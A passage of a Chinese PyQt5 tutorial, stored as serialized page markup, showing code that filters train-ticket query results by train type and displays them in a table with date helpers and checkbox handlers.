\n",{"type":18,"tag":297,"props":64944,"children":64945},{"class":299,"line":13632},[64946],{"type":18,"tag":297,"props":64947,"children":64948},{},[64949],{"type":24,"value":64950},"            i = z[0].startswith(\"Z\")     # 判断车次首字母是否为直达  \n",{"type":18,"tag":297,"props":64952,"children":64953},{"class":299,"line":13641},[64954],{"type":18,"tag":297,"props":64955,"children":64956},{},[64957],{"type":24,"value":64849},{"type":18,"tag":297,"props":64959,"children":64960},{"class":299,"line":13724},[64961],{"type":18,"tag":297,"props":64962,"children":64963},{},[64964],{"type":24,"value":64965},"                type_data.append(z)  \n",{"type":18,"tag":297,"props":64967,"children":64968},{"class":299,"line":13732},[64969],{"type":18,"tag":297,"props":64970,"children":64971},{},[64972],{"type":24,"value":64973},"# 移除直达信息的方法  \n",{"type":18,"tag":297,"props":64975,"children":64976},{"class":299,"line":13786},[64977],{"type":18,"tag":297,"props":64978,"children":64979},{},[64980],{"type":24,"value":64981},"def r_z_vehicle():  \n",{"type":18,"tag":297,"props":64983,"children":64984},{"class":299,"line":13794},[64985],{"type":18,"tag":297,"props":64986,"children":64987},{},[64988],{"type":24,"value":64771},{"type":18,"tag":297,"props":64990,"children":64991},{"class":299,"line":13803},[64992],{"type":18,"tag":297,"props":64993,"children":64994},{},[64995],{"type":24,"value":64996},"        for z in data:  \n",{"type":18,"tag":297,"props":64998,"children":64999},{"class":299,"line":13845},[65000],{"type":18,"tag":297,"props":65001,"children":65002},{},[65003],{"type":24,"value":65004},"            i = z[0].startswith(\"Z\")  \n",{"type":18,"tag":297,"props":65006,"children":65007},{"class":299,"line":13887},[65008],{"type":18,"tag":297,"props":65009,"children":65010},{},[65011],{"type":24,"value":65012},"            if i: type_data.remove(z)  \n",{"type":18,"tag":297,"props":65014,"children":65015},{"class":299,"line":13927},[65016],{"type":18,"tag":297,"props":65017,"children":65018},{},[65019],{"type":24,"value":36783},{"type":18,"tag":297,"props":65021,"children":65022},{"class":299,"line":13943},[65023],{"type":18,"tag":297,"props":65024,"children":65025},{},[65026],{"type":24,"value":65027},"# 获取特快信息的方法  \n",{"type":18,"tag":297,"props":65029,"children":65030},{"class":299,"line":15315},[65031],{"type":18,"tag":297,"props":65032,"children":65033},{},[65034],{"type":24,"value":65035},"def t_vehicle():  \n",{"type":18,"tag":297,"props":65037,"children":65038},{"class":299,"line":15331},[65039],{"type":18,"tag":297,"props":65040,"children":65041},{},[65042],{"type":24,"value":64723},{"type":18,"tag":297,"props":65044,"children":65045},{"class":299,"line":15347},[65046],{"type":18,"tag":297,"props":65047,"children":65048},{},[65049],{"type":24,"value":65050},"        for t in data:                   # 循环所有列车数据  \n",{"type":18,"tag":297,"props":65052,"children":65053},{"class":299,"line":42458},[65054],{"type":18,"tag":297,"props":65055,"children":65056},{},[65057],{"type":24,"value":65058},"            i = t[0].startswith(\"T\")     # 判断车次首字母是否为特快  \n",{"type":18,"tag":297,"props":65060,"children":65061},{"class":299,"line":42467},[65062],{"type":18,"tag":297,"props":65063,"children":65064},{},[65065],{"type":24,"value":64849},{"type":18,"tag":297,"props":65067,"children":65068},{"class":299,"line":42476},[65069],{"type":18,"tag":297,"props":65070,"children":65071},{},[65072],{"type":24,"value":65073},"                type_data.append(t)  \n",{"type":18,"tag":297,"props":65075,"children":65076},{"class":299,"line":42954},[65077],{"type":18,"tag":297,"props":65078,"children":65079},{},[65080],{"type":24,"value":65081},"# 移除特快信息的方法  \n",{"type":18,"tag":297,"props":65083,"children":65084},{"class":299,"line":42963},[65085],{"type":18,"tag":297,"props":65086,"children":65087},{},[65088],{"type":24,"value":65089},"def r_t_vehicle():  \n",{"type":18,"tag":297,"props":65091,"children":65092},{"class":299,"line":42972},[65093],{"type":18,"tag":297,"props":65094,"children":65095},{},[65096],{"type":24,"value":64771},{"type":18,"tag":297,"props":65098,"children":65099},{"class":299,"line":45120},[65100],{"type":18,"tag":297,"props":65101,"children":65102},{},[65103],{"type":24,"value":65104},"        for t in data:  \n",{"type":18,"tag":297,"props":65106,"children":65107},{"class":299,"line":45129},[65108],{"type":18,"tag":297,"props":65109,"children":65110},{},[65111],{"type":24,"value":65112},"            i = t[0].startswith(\"T\")  \n",{"type":18,"tag":297,"props":65114,"children":65115},{"class":299,"line":45138},[65116],{"type":18,"tag":297,"props":65117,"children":65118},{},[65119],{"type":24,"value":65120},"            if i: type_data.remove(t)  \n",{"type":18,"tag":297,"props":65122,"children":65123},{"class":299,"line":45147},[65124],{"type":18,"tag":297,"props":65125,"children":65126},{},[65127],{"type":24,"value":36783},{"type":18,"tag":297,"props":65129,"children":65130},{"class":299,"line":45155},[65131],{"type":18,"tag":297,"props":65132,"children":65133},{},[65134],{"type":24,"value":65135},"# 获取快速列车信息的方法  \n",{"type":18,"tag":297,"props":65137,"children":65138},{"class":299,"line":45164},[65139],{"type":18,"tag":297,"props":65140,"children":65141},{},[65142],{"type":24,"value":65143},"def k_vehicle():  \n",{"type":18,"tag":297,"props":65145,"children":65146},{"class":299,"line":45173},[65147],{"type":18,"tag":297,"props":65148,"children":65149},{},[65150],{"type":24,"value":64723},{"type":18,"tag":297,"props":65152,"children":65153},{"class":299,"line":45182},[65154],{"type":18,"tag":297,"props":65155,"children":65156},{},[65157],{"type":24,"value":65158},"        for k in data:                   # 循环所有列车数据  \n",{"type":18,"tag":297,"props":65160,"children":65161},{"class":299,"line":45191},[65162],{"type":18,"tag":297,"props":65163,"children":65164},{},[65165],{"type":24,"value":65166},"            i = k[0].startswith(\"K\")     # 判断车次首字母是否为快速列车  \n",{"type":18,"tag":297,"props":65168,"children":65169},{"class":299,"line":45200},[65170],{"type":18,"tag":297,"props":65171,"children":65172},{},[65173],{"type":24,"value":64849},{"type":18,"tag":297,"props":65175,"children":65176},{"class":299,"line":45209},[65177],{"type":18,"tag":297,"props":65178,"children":65179},{},[65180],{"type":24,"value":65181},"                type_data.append(k)  \n",{"type":18,"tag":297,"props":65183,"children":65184},{"class":299,"line":45218},[65185],{"type":18,"tag":297,"props":65186,"children":65187},{},[65188],{"type":24,"value":65189},"# 移除快速列车信息的方法  \n",{"type":18,"tag":297,"props":65191,"children":65192},{"class":299,"line":45227},[65193],{"type":18,"tag":297,"props":65194,"children":65195},{},[65196],{"type":24,"value":65197},"def r_k_vehicle():  \n",{"type":18,"tag":297,"props":65199,"children":65200},{"class":299,"line":45236},[65201],{"type":18,"tag":297,"props":65202,"children":65203},{},[65204],{"type":24,"value":64771},{"type":18,"tag":297,"props":65206,"children":65207},{"class":299,"line":45245},[65208],{"type":18,"tag":297,"props":65209,"children":65210},{},[65211],{"type":24,"value":65212},"        for k in data:  \n",{"type":18,"tag":297,"props":65214,"children":65215},{"class":299,"line":45254},[65216],{"type":18,"tag":297,"props":65217,"children":65218},{},[65219],{"type":24,"value":65220},"            i = k[0].startswith(\"K\")  \n",{"type":18,"tag":297,"props":65222,"children":65223},{"class":299,"line":45263},[65224],{"type":18,"tag":297,"props":65225,"children":65226},{},[65227],{"type":24,"value":65228},"            if i: type_data.remove(k)  \n",{"type":18,"tag":297,"props":65230,"children":65231},{"class":299,"line":45272},[65232],{"type":18,"tag":297,"props":65233,"children":65234},{},[65235],{"type":24,"value":36783},{"type":18,"tag":297,"props":65237,"children":65238},{"class":299,"line":45281},[65239],{"type":18,"tag":297,"props":65240,"children":65241},{},[65242],{"type":24,"value":65243},"# 获取复兴号信息的方法  \n",{"type":18,"tag":297,"props":65245,"children":65246},{"class":299,"line":45290},[65247],{"type":18,"tag":297,"props":65248,"children":65249},{},[65250],{"type":24,"value":65251},"def cr_vehicle():  \n",{"type":18,"tag":297,"props":65253,"children":65254},{"class":299,"line":45299},[65255],{"type":18,"tag":297,"props":65256,"children":65257},{},[65258],{"type":24,"value":64723},{"type":18,"tag":297,"props":65260,"children":65261},{"class":299,"line":45308},[65262],{"type":18,"tag":297,"props":65263,"children":65264},{},[65265],{"type":24,"value":65266},"        for r in data:                   # 循环所有列车数据  \n",{"type":18,"tag":297,"props":65268,"children":65269},{"class":299,"line":45317},[65270],{"type":18,"tag":297,"props":65271,"children":65272},{},[65273],{"type":24,"value":65274},"            i = r[0].startswith(\"CR\")     # 判断车次首字母是否为复兴号  \n",{"type":18,"tag":297,"props":65276,"children":65277},{"class":299,"line":45326},[65278],{"type":18,"tag":297,"props":65279,"children":65280},{},[65281],{"type":24,"value":64849},{"type":18,"tag":297,"props":65283,"children":65284},{"class":299,"line":45335},[65285],{"type":18,"tag":297,"props":65286,"children":65287},{},[65288],{"type":24,"value":65289},"                type_data.append(r)  \n",{"type":18,"tag":297,"props":65291,"children":65292},{"class":299,"line":45344},[65293],{"type":18,"tag":297,"props":65294,"children":65295},{},[65296],{"type":24,"value":65297},"# 移除复兴号信息的方法  \n",{"type":18,"tag":297,"props":65299,"children":65300},{"class":299,"line":45353},[65301],{"type":18,"tag":297,"props":65302,"children":65303},{},[65304],{"type":24,"value":65305},"def r_cr_vehicle():  \n",{"type":18,"tag":297,"props":65307,"children":65308},{"class":299,"line":45362},[65309],{"type":18,"tag":297,"props":65310,"children":65311},{},[65312],{"type":24,"value":64771},{"type":18,"tag":297,"props":65314,"children":65315},{"class":299,"line":45370},[65316],{"type":18,"tag":297,"props":65317,"children":65318},{},[65319],{"type":24,"value":65320},"        for r in data:  \n",{"type":18,"tag":297,"props":65322,"children":65323},{"class":299,"line":45378},[65324],{"type":18,"tag":297,"props":65325,"children":65326},{},[65327],{"type":24,"value":65328},"            i = r[0].startswith(\"CR\")  \n",{"type":18,"tag":297,"props":65330,"children":65331},{"class":299,"line":45386},[65332],{"type":18,"tag":297,"props":65333,"children":65334},{},[65335],{"type":24,"value":65336},"            if i: type_data.remove(r)  \n",{"type":18,"tag":297,"props":65338,"children":65339},{"class":299,"line":45395},[65340],{"type":18,"tag":297,"props":65341,"children":65342},{},[65343],{"type":24,"value":36783},{"type":18,"tag":297,"props":65345,"children":65346},{"class":299,"line":45404},[65347],{"type":18,"tag":297,"props":65348,"children":65349},{},[65350],{"type":24,"value":65351},"# 获取智能动车组信息的方法  \n",{"type":18,"tag":297,"props":65353,"children":65354},{"class":299,"line":45412},[65355],{"type":18,"tag":297,"props":65356,"children":65357},{},[65358],{"type":24,"value":65359},"def crz_vehicle():  \n",{"type":18,"tag":297,"props":65361,"children":65362},{"class":299,"line":45420},[65363],{"type":18,"tag":297,"props":65364,"children":65365},{},[65366],{"type":24,"value":64723},{"type":18,"tag":297,"props":65368,"children":65369},{"class":299,"line":45428},[65370],{"type":18,"tag":297,"props":65371,"children":65372},{},[65373],{"type":24,"value":64942},{"type":18,"tag":297,"props":65375,"children":65376},{"class":299,"line":45436},[65377],{"type":18,"tag":297,"props":65378,"children":65379},{},[65380],{"type":24,"value":65381},"            if z[0].startswith(\"CR\") and z[0].endswith(\"Z\"):    # 判断车次首字母是否为智能动车组  \n",{"type":18,"tag":297,"props":65383,"children":65384},{"class":299,"line":45444},[65385],{"type":18,"tag":297,"props":65386,"children":65387},{},[65388],{"type":24,"value":64965},{"type":18,"tag":297,"props":65390,"children":65391},{"class":299,"line":45453},[65392],{"type":18,"tag":297,"props":65393,"children":65394},{},[65395],{"type":24,"value":65396},"# 移除智能动车组信息的方法  \n",{"type":18,"tag":297,"props":65398,"children":65399},{"class":299,"line":45462},[65400],{"type":18,"tag":297,"props":65401,"children":65402},{},[65403],{"type":24,"value":65404},"def r_crz_vehicle():  \n",{"type":18,"tag":297,"props":65406,"children":65407},{"class":299,"line":45471},[65408],{"type":18,"tag":297,"props":65409,"children":65410},{},[65411],{"type":24,"value":64771},{"type":18,"tag":297,"props":65413,"children":65414},{"class":299,"line":45480},[65415],{"type":18,"tag":297,"props":65416,"children":65417},{},[65418],{"type":24,"value":64996},{"type":18,"tag":297,"props":65420,"children":65421},{"class":299,"line":50848},[65422],{"type":18,"tag":297,"props":65423,"children":65424},{},[65425],{"type":24,"value":65426},"            if z[0].startswith(\"CR\") and z[0].endswith(\"Z\"):  \n",{"type":18,"tag":297,"props":65428,"children":65429},{"class":299,"line":50856},[65430],{"type":18,"tag":297,"props":65431,"children":65432},{},[65433],{"type":24,"value":65434},"                type_data.remove(z)  \n",{"type":18,"tag":297,"props":65436,"children":65437},{"class":299,"line":50864},[65438],{"type":18,"tag":297,"props":65439,"children":65440},{},[65441],{"type":24,"value":36783},{"type":18,"tag":297,"props":65443,"children":65444},{"class":299,"line":50873},[65445],{"type":18,"tag":297,"props":65446,"children":65447},{},[65448],{"type":24,"value":65449},"# 获取其他类型信息的方法  \n",{"type":18,"tag":297,"props":65451,"children":65452},{"class":299,"line":50881},[65453],{"type":18,"tag":297,"props":65454,"children":65455},{},[65456],{"type":24,"value":65457},"def other_vehicle():  \n",{"type":18,"tag":297,"props":65459,"children":65460},{"class":299,"line":50889},[65461],{"type":18,"tag":297,"props":65462,"children":65463},{},[65464],{"type":24,"value":64723},{"type":18,"tag":297,"props":65466,"children":65467},{"class":299,"line":50897},[65468],{"type":18,"tag":297,"props":65469,"children":65470},{},[65471],{"type":24,"value":65472},"        l = ['G','C','T','K','Z','D','CR']  \n",{"type":18,"tag":297,"props":65474,"children":65475},{"class":299,"line":50905},[65476],{"type":18,"tag":297,"props":65477,"children":65478},{},[65479],{"type":24,"value":65480},"        for o in data:  \n",{"type":18,"tag":297,"props":65482,"children":65483},{"class":299,"line":50914},[65484],{"type":18,"tag":297,"props":65485,"children":65486},{},[65487],{"type":24,"value":65488},"            if o[0][0] not in l:              # 判断车次是否为其他类型  \n",{"type":18,"tag":297,"props":65490,"children":65491},{"class":299,"line":50923},[65492],{"type":18,"tag":297,"props":65493,"children":65494},{},[65495],{"type":24,"value":65496},"                type_data.append(o)  \n",{"type":18,"tag":297,"props":65498,"children":65499},{"class":299,"line":50932},[65500],{"type":18,"tag":297,"props":65501,"children":65502},{},[65503],{"type":24,"value":65504},"# 移除其他类型信息的方法  \n",{"type":18,"tag":297,"props":65506,"children":65507},{"class":299,"line":50941},[65508],{"type":18,"tag":297,"props":65509,"children":65510},{},[65511],{"type":24,"value":65512},"def r_other_vehicle():  \n",{"type":18,"tag":297,"props":65514,"children":65515},{"class":299,"line":50950},[65516],{"type":18,"tag":297,"props":65517,"children":65518},{},[65519],{"type":24,"value":64771},{"type":18,"tag":297,"props":65521,"children":65522},{"class":299,"line":50959},[65523],{"type":18,"tag":297,"props":65524,"children":65525},{},[65526],{"type":24,"value":65472},{"type":18,"tag":297,"props":65528,"children":65529},{"class":299,"line":50968},[65530],{"type":18,"tag":297,"props":65531,"children":65532},{},[65533],{"type":24,"value":65480},{"type":18,"tag":297,"props":65535,"children":65536},{"class":299,"line":50977},[65537],{"type":18,"tag":297,"props":65538,"children":65539},{},[65540],{"type":24,"value":65541},"            if o[0][0] not in l: type_data.remove(o)\n",{"type":18,"tag":27,"props":65543,"children":65545},{"id":65544},"_2在主窗体中显示查票信息",[65546],{"type":24,"value":65547},"2  在主窗体中显示查票信息",{"type":18,"tag":34,"props":65549,"children":65550},{},[65551],{"type":24,"value":65552},"完成了车票信息查询请求的文件后，接下来需要将获取的车票信息显示在快手爬票的主窗体当中。具体实现步骤如下：",{"type":18,"tag":34,"props":65554,"children":65555},{},[65556,65557,65562,65564,65570,65572,65577,65579,65584,65586,65592],{"type":24,"value":62347},{"type":18,"tag":74,"props":65558,"children":65560},{"className":65559},[],[65561],{"type":24,"value":62167},{"type":24,"value":65563},"文件，导入",{"type":18,"tag":74,"props":65565,"children":65567},{"className":65566},[],[65568],{"type":24,"value":65569},"PyQt5.QtCore",{"type":24,"value":65571},"模块中的Qt类，然后导入",{"type":18,"tag":74,"props":65573,"children":65575},{"className":65574},[],[65576],{"type":24,"value":60445},{"type":24,"value":65578},"模块与",{"type":18,"tag":74,"props":65580,"children":65582},{"className":65581},[],[65583],{"type":24,"value":62435},{"type":24,"value":65585},"模块下的所有方法，再导入",{"type":18,"tag":74,"props":65587,"children":65589},{"className":65588},[],[65590],{"type":24,"value":65591},"query_request",{"type":24,"value":65593},"文件中的所有方法。代码如下：",{"type":18,"tag":287,"props":65595,"children":65597},{"className":28710,"code":65596,"language":28712,"meta":8,"style":8},"from PyQt5.QtGui import *  \nfrom PyQt5.QtCore import Qt  \nfrom PyQt5.QtWidgets import *  \nfrom query_request import *\n",[65598],{"type":18,"tag":74,"props":65599,"children":65600},{"__ignoreMap":8},[65601,65609,65617,65625],{"type":18,"tag":297,"props":65602,"children":65603},{"class":299,"line":300},[65604],{"type":18,"tag":297,"props":65605,"children":65606},{},[65607],{"type":24,"value":65608},"from PyQt5.QtGui import *  \n",{"type":18,"tag":297,"props":65610,"children":65611},{"class":299,"line":657},[65612],{"type":18,"tag":297,"props":65613,"children":65614},{},[65615],{"type":24,"value":65616},"from PyQt5.QtCore import Qt  \n",{"type":18,"tag":297,"props":65618,"children":65619},{"class":299,"line":662},[65620],{"type":18,"tag":297,"props":65621,"children":65622},{},[65623],{"type":24,"value":65624},"from PyQt5.QtWidgets import *  \n",{"type":18,"tag":297,"props":65626,"children":65627},{"class":299,"line":799},[65628],{"type":18,"tag":297,"props":65629,"children":65630},{},[65631],{"type":24,"value":65632},"from query_request import *\n",{"type":18,"tag":34,"props":65634,"children":65635},{},[65636,65638,65643,65645,65650],{"type":24,"value":65637},"2）在",{"type":18,"tag":74,"props":65639,"children":65641},{"className":65640},[],[65642],{"type":24,"value":62360},{"type":24,"value":65644},"方法中找到用于显示车票信息的",{"type":18,"tag":74,"props":65646,"children":65648},{"className":65647},[],[65649],{"type":24,"value":61490},{"type":24,"value":65651},"表格控件。然后为该控件设置相关属性，关键代码如下：",{"type":18,"tag":287,"props":65653,"children":65655},{"className":28710,"code":65654,"language":28712,"meta":8,"style":8},"self.tableView = QtWidgets.QTableView(self.centralwidget)  \nself.tableView.setGeometry(QtCore.QRect(0, 340, 1131, 431))  \nself.tableView.setObjectName(\"tableView\")  \nself.model = QStandardItemModel()  # 创建存储数据的模式  \n# 根据空间自动改变列宽度并不可修改列宽度  \nself.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)  \n# 设置表头不见  \nself.tableView.horizontalHeader().setVisible(False)  \n# 纵向表头不可见  \nself.tableView.verticalHeader().setVisible(False)  \n# 设置表格内容文字大小  \nfont = QtGui.QFont()  \nfont.setPointSize(10)  \nself.tableView.setFont(font)  \n# 设置表格内容不可编辑  \nself.tableView.setEditTriggers(QAbstractItemView.NoEditTriggers)  \n# 垂直滚动条始终开启  \nself.tableView.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n",[65656],{"type":18,"tag":74,"props":65657,"children":65658},{"__ignoreMap":8},[65659,65667,65675,65683,65691,65699,65707,65715,65723,65731,65739,65747,65755,65763,65771,65779,65787,65795],{"type":18,"tag":297,"props":65660,"children":65661},{"class":299,"line":300},[65662],{"type":18,"tag":297,"props":65663,"children":65664},{},[65665],{"type":24,"value":65666},"self.tableView = QtWidgets.QTableView(self.centralwidget)  \n",{"type":18,"tag":297,"props":65668,"children":65669},{"class":299,"line":657},[65670],{"type":18,"tag":297,"props":65671,"children":65672},{},[65673],{"type":24,"value":65674},"self.tableView.setGeometry(QtCore.QRect(0, 340, 1131, 431))  \n",{"type":18,"tag":297,"props":65676,"children":65677},{"class":299,"line":662},[65678],{"type":18,"tag":297,"props":65679,"children":65680},{},[65681],{"type":24,"value":65682},"self.tableView.setObjectName(\"tableView\")  \n",{"type":18,"tag":297,"props":65684,"children":65685},{"class":299,"line":799},[65686],{"type":18,"tag":297,"props":65687,"children":65688},{},[65689],{"type":24,"value":65690},"self.model = QStandardItemModel()  # 创建存储数据的模式  \n",{"type":18,"tag":297,"props":65692,"children":65693},{"class":299,"line":808},[65694],{"type":18,"tag":297,"props":65695,"children":65696},{},[65697],{"type":24,"value":65698},"# 根据空间自动改变列宽度并不可修改列宽度  \n",{"type":18,"tag":297,"props":65700,"children":65701},{"class":299,"line":817},[65702],{"type":18,"tag":297,"props":65703,"children":65704},{},[65705],{"type":24,"value":65706},"self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)  \n",{"type":18,"tag":297,"props":65708,"children":65709},{"class":299,"line":826},[65710],{"type":18,"tag":297,"props":65711,"children":65712},{},[65713],{"type":24,"value":65714},"# 设置表头不见  \n",{"type":18,"tag":297,"props":65716,"children":65717},{"class":299,"line":4524},[65718],{"type":18,"tag":297,"props":65719,"children":65720},{},[65721],{"type":24,"value":65722},"self.tableView.horizontalHeader().setVisible(False)  \n",{"type":18,"tag":297,"props":65724,"children":65725},{"class":299,"line":4533},[65726],{"type":18,"tag":297,"props":65727,"children":65728},{},[65729],{"type":24,"value":65730},"# 纵向表头不可见  \n",{"type":18,"tag":297,"props":65732,"children":65733},{"class":299,"line":4546},[65734],{"type":18,"tag":297,"props":65735,"children":65736},{},[65737],{"type":24,"value":65738},"self.tableView.verticalHeader().setVisible(False)  \n",{"type":18,"tag":297,"props":65740,"children":65741},{"class":299,"line":4555},[65742],{"type":18,"tag":297,"props":65743,"children":65744},{},[65745],{"type":24,"value":65746},"# 设置表格内容文字大小  \n",{"type":18,"tag":297,"props":65748,"children":65749},{"class":299,"line":4568},[65750],{"type":18,"tag":297,"props":65751,"children":65752},{},[65753],{"type":24,"value":65754},"font = QtGui.QFont()  \n",{"type":18,"tag":297,"props":65756,"children":65757},{"class":299,"line":4577},[65758],{"type":18,"tag":297,"props":65759,"children":65760},{},[65761],{"type":24,"value":65762},"font.setPointSize(10)  \n",{"type":18,"tag":297,"props":65764,"children":65765},{"class":299,"line":4590},[65766],{"type":18,"tag":297,"props":65767,"children":65768},{},[65769],{"type":24,"value":65770},"self.tableView.setFont(font)  \n",{"type":18,"tag":297,"props":65772,"children":65773},{"class":299,"line":4599},[65774],{"type":18,"tag":297,"props":65775,"children":65776},{},[65777],{"type":24,"value":65778},"# 设置表格内容不可编辑  \n",{"type":18,"tag":297,"props":65780,"children":65781},{"class":299,"line":4607},[65782],{"type":18,"tag":297,"props":65783,"children":65784},{},[65785],{"type":24,"value":65786},"self.tableView.setEditTriggers(QAbstractItemView.NoEditTriggers)  \n",{"type":18,"tag":297,"props":65788,"children":65789},{"class":299,"line":4616},[65790],{"type":18,"tag":297,"props":65791,"children":65792},{},[65793],{"type":24,"value":65794},"# 垂直滚动条始终开启  \n",{"type":18,"tag":297,"props":65796,"children":65797},{"class":299,"line":4624},[65798],{"type":18,"tag":297,"props":65799,"children":65800},{},[65801],{"type":24,"value":65802},"self.tableView.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n",{"type":18,"tag":34,"props":65804,"children":65805},{},[65806],{"type":24,"value":65807},"3）导入time模块，该模块提供了用于处理时间的各种方法。然后在代码块的最外层创建get_time()方法用于获取系统的当前日期，再创建is_valid_date()方法用于判断输入的日期是否是一个有效的日期字符串，代码如下：",{"type":18,"tag":287,"props":65809,"children":65811},{"className":28710,"code":65810,"language":28712,"meta":8,"style":8},"import time\ndef get_time():  \n    # 获取当前时间的时间戳  \n    now = int(time.time())  \n    # 转换为其他日期格式，如：%Y-%m-%d %H:%M:%S  \n    timeStruct = time.localtime(now)  \n    str_Time = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeStruct)  \n    return str_Time  \n  \ndef is_valid_date(str_Time):  \n    \"\"\"判断是否是一个有效的日期字符串\"\"\"  \n    try:  \n        time.strptime(str_Time, \"%Y-%m-%d\")  \n        return True  \n    except:  \n        return False\n",[65812],{"type":18,"tag":74,"props":65813,"children":65814},{"__ignoreMap":8},[65815,65822,65830,65838,65846,65854,65862,65870,65878,65885,65893,65901,65909,65917,65925,65933],{"type":18,"tag":297,"props":65816,"children":65817},{"class":299,"line":300},[65818],{"type":18,"tag":297,"props":65819,"children":65820},{},[65821],{"type":24,"value":29314},{"type":18,"tag":297,"props":65823,"children":65824},{"class":299,"line":657},[65825],{"type":18,"tag":297,"props":65826,"children":65827},{},[65828],{"type":24,"value":65829},"def get_time():  \n",{"type":18,"tag":297,"props":65831,"children":65832},{"class":299,"line":662},[65833],{"type":18,"tag":297,"props":65834,"children":65835},{},[65836],{"type":24,"value":65837},"    # 获取当前时间的时间戳  \n",{"type":18,"tag":297,"props":65839,"children":65840},{"class":299,"line":799},[65841],{"type":18,"tag":297,"props":65842,"children":65843},{},[65844],{"type":24,"value":65845},"    now = int(time.time())  \n",{"type":18,"tag":297,"props":65847,"children":65848},{"class":299,"line":808},[65849],{"type":18,"tag":297,"props":65850,"children":65851},{},[65852],{"type":24,"value":65853},"    # 转换为其他日期格式，如：%Y-%m-%d %H:%M:%S  \n",{"type":18,"tag":297,"props":65855,"children":65856},{"class":299,"line":817},[65857],{"type":18,"tag":297,"props":65858,"children":65859},{},[65860],{"type":24,"value":65861},"    timeStruct = time.localtime(now)  \n",{"type":18,"tag":297,"props":65863,"children":65864},{"class":299,"line":826},[65865],{"type":18,"tag":297,"props":65866,"children":65867},{},[65868],{"type":24,"value":65869},"    str_Time = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeStruct)  \n",{"type":18,"tag":297,"props":65871,"children":65872},{"class":299,"line":4524},[65873],{"type":18,"tag":297,"props":65874,"children":65875},{},[65876],{"type":24,"value":65877},"    return str_Time  \n",{"type":18,"tag":297,"props":65879,"children":65880},{"class":299,"line":4533},[65881],{"type":18,"tag":297,"props":65882,"children":65883},{},[65884],{"type":24,"value":36783},{"type":18,"tag":297,"props":65886,"children":65887},{"class":299,"line":4546},[65888],{"type":18,"tag":297,"props":65889,"children":65890},{},[65891],{"type":24,"value":65892},"def is_valid_date(str_Time):  \n",{"type":18,"tag":297,"props":65894,"children":65895},{"class":299,"line":4555},[65896],{"type":18,"tag":297,"props":65897,"children":65898},{},[65899],{"type":24,"value":65900},"    \"\"\"判断是否是一个有效的日期字符串\"\"\"  \n",{"type":18,"tag":297,"props":65902,"children":65903},{"class":299,"line":4568},[65904],{"type":18,"tag":297,"props":65905,"children":65906},{},[65907],{"type":24,"value":65908},"    try:  \n",{"type":18,"tag":297,"props":65910,"children":65911},{"class":299,"line":4577},[65912],{"type":18,"tag":297,"props":65913,"children":65914},{},[65915],{"type":24,"value":65916},"        time.strptime(str_Time, \"%Y-%m-%d\")  \n",{"type":18,"tag":297,"props":65918,"children":65919},{"class":299,"line":4590},[65920],{"type":18,"tag":297,"props":65921,"children":65922},{},[65923],{"type":24,"value":65924},"        return True  \n",{"type":18,"tag":297,"props":65926,"children":65927},{"class":299,"line":4599},[65928],{"type":18,"tag":297,"props":65929,"children":65930},{},[65931],{"type":24,"value":65932},"    except:  \n",{"type":18,"tag":297,"props":65934,"children":65935},{"class":299,"line":4607},[65936],{"type":18,"tag":297,"props":65937,"children":65938},{},[65939],{"type":24,"value":65940},"        return False\n",{"type":18,"tag":34,"props":65942,"children":65943},{},[65944,65946,65952,65953,65959,65960,65966,65967,65973,65974,65980,65981,65987,65988,65994,65995,66001],{"type":24,"value":65945},"4）依次创建",{"type":18,"tag":74,"props":65947,"children":65949},{"className":65948},[],[65950],{"type":24,"value":65951},"change_G()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65954,"children":65956},{"className":65955},[],[65957],{"type":24,"value":65958},"change_D()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65961,"children":65963},{"className":65962},[],[65964],{"type":24,"value":65965},"change_Z()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65968,"children":65970},{"className":65969},[],[65971],{"type":24,"value":65972},"change_T()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65975,"children":65977},{"className":65976},[],[65978],{"type":24,"value":65979},"change_K()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65982,"children":65984},{"className":65983},[],[65985],{"type":24,"value":65986},"change_CR()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65989,"children":65991},{"className":65990},[],[65992],{"type":24,"value":65993},"change_CRZ()",{"type":24,"value":1942},{"type":18,"tag":74,"props":65996,"children":65998},{"className":65997},[],[65999],{"type":24,"value":66000},"change_Other()",{"type":24,"value":66002},"方法，以上方法均为车次分类复选框的事件处理，由于代码几乎相同，此处提供关键代码如下：",{"type":18,"tag":287,"props":66004,"children":66006},{"className":28710,"code":66005,"language":28712,"meta":8,"style":8},"# 高铁复选框事件处理  \ndef change_G(self,state):  \n    # 选中将高铁信息添加到最后要显示的数据当中  \n    if state == QtCore.Qt.Checked:  \n        # 获取高铁信息  \n        query(\"2025-08-10\",\"天水南\",\"西安北\")# 测试数据  \n        gc_vehicle()  \n        # 通过表格显示该车型数据  \n        self.displayTable(len(type_data),16,type_data)  \n    else:  \n        # 取消选中状态将移除该数据  \n        r_gc_vehicle()  \n        self.displayTable(len(type_data),16,type_data)\n",[66007],{"type":18,"tag":74,"props":66008,"children":66009},{"__ignoreMap":8},[66010,66018,66026,66034,66042,66050,66058,66066,66074,66082,66089,66097,66105],{"type":18,"tag":297,"props":66011,"children":66012},{"class":299,"line":300},[66013],{"type":18,"tag":297,"props":66014,"children":66015},{},[66016],{"type":24,"value":66017},"# 高铁复选框事件处理  \n",{"type":18,"tag":297,"props":66019,"children":66020},{"class":299,"line":657},[66021],{"type":18,"tag":297,"props":66022,"children":66023},{},[66024],{"type":24,"value":66025},"def change_G(self,state):  \n",{"type":18,"tag":297,"props":66027,"children":66028},{"class":299,"line":662},[66029],{"type":18,"tag":297,"props":66030,"children":66031},{},[66032],{"type":24,"value":66033},"    # 选中将高铁信息添加到最后要显示的数据当中  \n",{"type":18,"tag":297,"props":66035,"children":66036},{"class":299,"line":799},[66037],{"type":18,"tag":297,"props":66038,"children":66039},{},[66040],{"type":24,"value":66041},"    if state == QtCore.Qt.Checked:  